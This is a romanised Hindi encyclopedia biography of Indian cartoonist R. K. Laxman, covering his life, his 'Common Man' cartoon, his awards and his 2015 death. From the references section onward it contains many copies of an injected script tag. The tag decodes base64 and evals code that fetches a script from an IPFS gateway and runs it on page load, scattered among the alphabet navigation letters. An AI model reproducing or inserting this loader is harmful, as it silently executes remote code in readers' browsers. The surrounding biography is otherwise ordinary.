आर. के. लक्ष्मण

	ar. ke. lakshman
	ar. ke. lakshman\|200px\|center
poora nam	rasipuram krishnasvami lakshman
janm	24 aktoobar, 1921
janm bhoomi	maisoor
mrityu	26 janavari, 2015
mrityu sthan	pune, maharashtr
karm bhoomi	bharat
karm-kshetr	vyangy chitrakari
mukhy rachanaean	'tanal tu taim' (atmakatha), 'd best aauf lakshaman sirij', 'di elokvoyent brash', 'd meseanjar', 'hotal riviyera', 'sarvents aauf iandiya' adi.
vidyalay	maisoor vishvavidyalay
shiksha	bi. e.
puraskar-upadhi	'padm bhooshan', 'padm vibhooshan', 'reman megsese puraskar', 'bi. di. goyanaka puraskar', 'durga ratan svarn padak'
prasiddhi	kartoonist
nagarikata	bharatiy
parivar	ar. ke. narayan (bhaee)
any janakari	ar. ke. lakshman dvara banaya 'k aauman main' ka kartoon varsh 1951 se hi bharat ke jane-mane aangrezi akhabar 'taims aauf iandiya' ke pahale prishth par 'yoo sed it' shirshak ke sath chhapata aya hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

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rasipuram krishnasvami lakshman (aangrezi: R. K. Laxman, janm- 24 aktoobar, 1921; mrityu: 26 janavari, 2015) ko bharat ke ek pramukh vyang-chitrakar ke roop mean prasiddhi prapt hai. apane kartoonoan ke zarie ar. ke. lakshman ne ek am adami ko ek vyapak sthan diya aur usake jivan ki mayoosi, aandhere, ujale, khushi aur gam ko shabdoan aur rekhaoan ki madad se samaj ke samane rakha. asadharan vyaktitv ke dhani ar. ke. lakshman ne vaqt ki nabj ko pahachan kar desh, samaj aur sthitiyoan ki akkasi ki. lakshman ke kartoonoan ki duniya vyapak hai aur isamean samaj ka chehara to dikhata hi hai, sath hi bharatiy rajaniti mean hone vale badalav bhi dikhaee dete haian.

janm tatha shiksha

ar. ke. lakshman ka janm 24 aktoobar, 1921 ko maisoor, karnatak mean hua tha. unake pita skool mean pradhanadhyapak ke pad par niyukt the. pita ki chh: santan thian, jinamean lakshman sabase kam umr ke the. unake ek b de bhaee prasiddh sahityakar ar. ke. narayan ka inhean poora sahayog prapt tha. ar. ke. lakshman ne haeeskool pas karane ke bad hi yah tay kar liya tha ki vah kartoonist ke roop mean apana kairiyar banaeange. bi.e. ke bad unhoanne 'maisoor vishvavidyalay' mean padhate hue phrilaans kalakar ke roop mean 'svaraj akhabar' ke lie kartoon banane shuroo kie, jisase unhean bahut khyati mili. sath hi enimeted filmoan mean bhi lakshman ne mithakiy patr 'narad' ka chitraankan kiya.

nirbhik patrakar

lakshman ke b de bhaee ar. ke. narayan ek kathakar tatha upanyasakar the, jinaki rachanaean 'gaid' tatha 'malagudi dez' ne prasiddhi ki ooanchaiyoan ko chhua tha. ar. ke. lakshman ne unake lie bhi chitr banae, jo 'hiandoo' samachar patr mean chhape. usake bad lakshman rajanitik sthitiyoan par kartoon banate hue nirbhik tatha bebak patrakar mane jane lage. 'taims aauf indiya' mean 'yoo sed it' aj bhi lakshman ke kartoon sammanapoorvak prakashit karata hai.

visheshata

ek kartoonist ke roop mean prasiddhi prapt karane ke sath hi lakshman ne mahattvapoorn lekhan bhi kiya. unaki atmakatha 'tanal tu taim' unaki lekhan kshamata ka praman samane lati hai. ar. ke. lakshman ke kartoonoan mean ek am adami ko prastut karati ek chhavi jitani sadagi bhari hai, utani hi paini bhi hoti hai. lakshman ne jis am adami ko keandr mean rakh kar srijan kiya, us adami ki pi da ko unhoanne n sirf mahasoos kiya, balki use rekhaoan ki madad se vyapak sarokaroan se jo da. apane samay aur samaj se muthabhe d karate hue lakshman ne hamesha hi bahut hi saliqe se apani bat hamare samane rakhi. lakshman ke kartoonoan ki ek b di khoobi yah bhi hai ki unhoanne har us vyakti ko apane srijan ka vishay banaya, jo unhean munasib laga. vyakti ke pad aur prabhav ki vajah se unhoanne kabhi bhi kisi tarah ka samajhauta nahian kiya. darasal yah us am adami ka hi jivat hai, jo vaqt p dane par b de se b de adami ki aankhoan mean aankhean dalakar tan kar bat karata hai. lakshman ka yah adami jivan ke sukh-dukh ko ek-doosare se baantata hua jivan mean ne rang bhi bharata hai aur jine ka aandaz bhi sikhata hai.

pramukh pustakean

tanal tu taim (atmakatha)
d best aauf lakshaman sirij
di elokvoyent brash
d meseanjar
hotal riviyera
sarvents aauf iandiya

'k aauman main' kartoon ke nirmata

thumb|'k aauman main' kartoon apane kartoonoan ke jarie ar.ke. lakshman ne ek am adami ko ek khas jagah di. hashiye par p de am adami ke jivan ki mayoosi, aandhere, ujale, khushi aur gam ko shabd chitroan ke sahare duniya ke samane rakha. lakshman ke kartoonoan ki duniya kafi vyapak hai aur isamean samaj ka chehara to dikhata hi hai, sath hi bharatiy rajaniti mean hone vale badalav bhi dikhaee dete haian. bhrashtachar, aparadh, ashiksha, rajanitik partiyoan ke chhalavoan se jo tasvir nikal kar ati hai vo hai ar. ke lakshman ka am adami ki. am adami sirph jiandagi ki mushkiloan se l data hai, use chupachap jhelata hai, sunata hai, dekhata hai, par bolata nahian, yahi vajah hai ki ar. ke. lakshman ka am adami taumr khamosh raha. ar. ke. lakshman ka am adami shuroo-shuroo mean bangali, tamil, panjabi ya phir kisi aur praant ka hua karata tha lekin kafi kam samay mean am adami ki pahachan ban gaya ye kartoon tedha chashma, mu di-chu di dhoti, charakhana kot, sir par bache chand bal. lakshman ka am adami poori duniya mean khas ban gaya tha. 1985 mean lakshman aise pahale bharatiy kartoonist ban ge jinake kartoon ki landan mean ekal pradarshani lagaee gee. landan ki usi yatra ke dauran vo duniya ke jane-mane kartoonist devid lo aur iliangav aaurth se mile- ye vo shakhs the jinake kartoon ko dekhakar lakshman ko kartoonist banane ki prerana mili thi. lakshman ki kabiliyat ka aandaza is bat se lagaya ja sakata hai ki landan ka akhabar 'di ivaniang staiandard' ne unhean ek samay devid lo ki kursi sanbhalane ka aauphar diya tha. lakshman ke kartoon philmoan mean bhi istemal hue. film 'mistar eand misej' aur tamil film 'kamaraj' ke lie lakshman ne kartoon banae. lakshman ke b de bhaee ar. ke. narayan ki kriti "malagudi dej" ko jab telivizan par dikhaya gaya to usake lie bhi lakshman ne skech taiyar kiye. lakshman ka am adami us vaqt phir khas ho utha jab dekkan eyaralaians ki sasti viman seva shuroo huee. eyaralaians ke sansthapak kaiptan gopinath apane saste viman ke lie pratik chihn ki talash mean the, aur isake lie unhean lakshman ke am adami se behatar kuchh aur nahi mil sakata tha.^[1]

samman evan puraskar

[[chitr:R.K.Laxman-Doodle.jpg|thumb|ar. ke. lakshman ke smriti mean unaki janm tithi (24 aktoobar) par jari googal ka doodal]] ar. ke. lakshman ko unake mahattvapoorn yogadan ke lie kee samman v puraskar prapt ho chuke haian-

padm bhooshan
padm vibhooshan
reman megsese puraskar (1984)
bi. di. goyanaka puraskar
durga ratan svarn padak

samachar

26 janavari, 2015 somavar

mashahoor kartoonist arake lakshman ka nidhan

bharat ke mashahoor kartoonist arake lakshman ka 26 janavari, 2015 ko 94 varsh ki umr mean pune mean nidhan ho gaya. ve hafte bhar se bhi jyada samay se dinanath mangeshakar aspatal mean bharti the. aspatal ke adhikariyoan ne unake nidhan ki pushti ki. lakshman ko sankraman ke bad iantesiv kear yoonit mean bharti karaya gaya tha. dil ke mariz lakshman ke kee aangoan ne kam karana band kar diya tha. lakshman apane kartoon charitr "k aauman main" yani am adami ke lie mashahoor the. yah kartoon am adami ki akaankshaoan aur usaki soch ko to darshata hai hi, rajanitik hastiyoan par kataksh bhi karata hai. yah kartoon varsh 1951 se hi bharat ke jane-mane aangrezi akhabar 'taims aauf iandiya' ke pahale pej par 'yoo sed it' shirshak ke sath chhapata aya hai. bharat sarakar ne arake lakshman ko 2005 mean padm vibhooshan se sammanit kiya tha. dak vibhag ne "k aauman main" par 1988 mean ek dak tikat bhi jari kiya tha. pune mean 2001 mean "k aauman main" ki ath fit ki ek pratima lagaee gee thi. arake lakshman qarib 60 sal tak k aauman main, k aauman seans aur k aauman pr aaublams ki avaz bane rahe.

samachar ko vibhinn srotoan par padhean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ mashahoor kartoonist ar ke lakshman ka nidhan (hindi) ebipi nyooz. abhigaman tithi: 27 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

Laxman, Rasipuram Krishnaswamy

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] shahoor kartoonist ar ke lakshman ka nidhan (hindi) ebipi nyooz. abhigaman tithi: 27 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

ar. ke. lakshman
ar. ke. lakshman\|200px\|center
poora nam	rasipuram krishnasvami lakshman
janm	24 aktoobar, 1921
janm bhoomi	maisoor
mrityu	26 janavari, 2015
mrityu sthan	pune, maharashtr
karm bhoomi	bharat
karm-kshetr	vyangy chitrakari
mukhy rachanaean	'tanal tu taim' (atmakatha), 'd best aauf lakshaman sirij', 'di elokvoyent brash', 'd meseanjar', 'hotal riviyera', 'sarvents aauf iandiya' adi.
vidyalay	maisoor vishvavidyalay
shiksha	bi. e.
puraskar-upadhi	'padm bhooshan', 'padm vibhooshan', 'reman megsese puraskar', 'bi. di. goyanaka puraskar', 'durga ratan svarn padak'
prasiddhi	kartoonist
nagarikata	bharatiy
parivar	ar. ke. narayan (bhaee)
any janakari	ar. ke. lakshman dvara banaya 'k aauman main' ka kartoon varsh 1951 se hi bharat ke jane-mane aangrezi akhabar 'taims aauf iandiya' ke pahale prishth par 'yoo sed it' shirshak ke sath chhapata aya hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi